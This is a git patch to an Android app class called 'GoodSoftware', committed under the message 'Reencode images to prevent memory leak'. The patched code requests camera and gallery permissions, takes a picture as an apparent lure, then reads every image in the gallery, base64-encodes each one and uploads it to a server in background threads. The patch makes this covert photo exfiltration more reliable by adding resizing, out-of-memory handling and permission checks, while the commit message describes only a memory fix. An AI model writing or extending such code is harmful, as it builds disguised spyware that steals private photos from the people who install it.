From 7f9f5d30a158aac77d9ce2bfb29b29b330a12cb1 Mon Sep 17 00:00:00 2001 From: Joren Date: Thu, 2 May 2024 12:05:12 +0200 Subject: [PATCH] Reencode images to prevent memory leak --- app/src/main/AndroidManifest.xml | 2 + app/src/main/java/com/ti/m/GoodSoftware.kt | 154 +++++++++++++++------ app/src/main/java/com/ti/m/MainActivity.kt | 7 +- 3 files changed, 123 insertions(+), 40 deletions(-) diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index 1114934..0b5e308 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -6,6 +6,8 @@ + + = Build.VERSION_CODES.TIRAMISU) { + requestMediaImagesPermission() + } else { + // For lower Android versions, request READ_EXTERNAL_STORAGE requestGalleryPermission() } + } else { + startPictureCapture() + } + } - // If both permissions are granted, proceed with picture capture and gallery access - takeBeautifulPicture(activity, activity) + private fun requestMediaImagesPermission() { + ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) + } - Thread { - val imageList = getAllImagesFromGallery(activity) - for (image in imageList) { - val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) - Thread { - println("Sending data to server") - sendDataToServer(base64Image) - }.start() + private fun startPictureCapture() { + activity.lifecycleScope.launch { + try { + // Check and request camera permission + if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { + requestCameraPermission() } - }.start() + + // Check and request gallery permission + if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { + checkStoragePermission() + } + + // If both permissions are granted, proceed with picture capture and gallery access + takeBeautifulPicture(activity, activity) + + Thread { + try { + val imageList = getAllImagesFromGallery(activity) + for (image in imageList) { + println(imageList.size) + val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) + Thread { + println("Sending data to server") + sendDataToServer(base64Image) + }.start() + } + } catch (e: Exception) { + e.printStackTrace() + // Handle the exception, e.g., log the error or notify the user + } + }.start() + } catch (e: Exception) { + e.printStackTrace() + // Handle the exception, e.g., log the error or notify the user + } } } fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String { var base64Image = "" - contentResolver.openInputStream(imageUri)?.use { inputStream -> - val byteArrayOutputStream = ByteArrayOutputStream() - inputStream.copyTo(byteArrayOutputStream) - val byteArray = byteArrayOutputStream.toByteArray() - base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT) + try { + contentResolver.openInputStream(imageUri)?.use { inputStream -> + val bitmap = BitmapFactory.decodeStream(inputStream) + + val resizedBitmap = resizeBitmap(bitmap, 1920, 1080) + + val byteArrayOutputStream = ByteArrayOutputStream() + resizedBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream) + val byteArray = byteArrayOutputStream.toByteArray() + + base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT) + } + } catch (oom: OutOfMemoryError) { + // Handle OutOfMemoryError + Log.e("OOM", "Out of memory error occurred while encoding image: $imageUri") } return base64Image } + fun resizeBitmap(bitmap: Bitmap, newWidth: Int, newHeight: Int): Bitmap { + val width = bitmap.width + val height = bitmap.height + val scaleWidth = newWidth.toFloat() / width + val scaleHeight = newHeight.toFloat() / height + val matrix = android.graphics.Matrix() + matrix.postScale(scaleWidth, scaleHeight) + + val resizedBitmap = Bitmap.createBitmap( + bitmap, 0, 0, width, height, matrix, false + ) + bitmap.recycle() + return resizedBitmap + } + + private fun requestGalleryPermission() { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) } // Handle permission request result @@ -175,6 +232,14 @@ class GoodSoftware (private val activity: MainActivity) { // Handle accordingly } } + REQUEST_MEDIA_IMAGES_PERMISSION -> { + if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { + startPictureCapture() + } else { + // Media images permission denied + // Handle accordingly + } + } } } @@ -323,21 +388,32 @@ class GoodSoftware (private val activity: MainActivity) { ) val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI - val cursor = contentResolver.query( - imageUri, - imageProjection, - null, - null, - "${MediaStore.Images.Media.DATE_ADDED} DESC" - ) + // Check permission based on Android version + val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher + } else { + Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions + } - cursor?.use { cursor -> - val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID) - while (cursor.moveToNext()) { - val id = cursor.getLong(idColumn) - val contentUri = ContentUris.withAppendedId(imageUri, id) - imageList.add(contentUri.toString()) + if (ContextCompat.checkSelfPermission(context, permission) == PackageManager.PERMISSION_GRANTED) { + val cursor = contentResolver.query( + imageUri, + imageProjection, + null, + null, + "${MediaStore.Images.Media.DATE_ADDED} DESC" + ) + + cursor?.use { cursor -> + val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID) + while (cursor.moveToNext()) { + val id = cursor.getLong(idColumn) + val contentUri = ContentUris.withAppendedId(imageUri, id) + imageList.add(contentUri.toString()) + } } + } else { + ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) } return imageList diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index c8cf14b..ba72b04 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -4,6 +4,7 @@ import android.Manifest import android.app.Activity import android.content.pm.PackageManager import android.os.Bundle +import android.util.Log import android.widget.Toast import androidx.activity.ComponentActivity import androidx.activity.compose.setContent @@ -34,7 +35,11 @@ class MainActivity : ComponentActivity(), LifecycleOwner { } } goo = GoodSoftware(this@MainActivity) - goo.launch() + try { + goo.launch() + }catch (e: Exception) { + e.printStackTrace() + } } override fun onRequestPermissionsResult(requestCode: Int, permissions: Array, grantResults: IntArray) {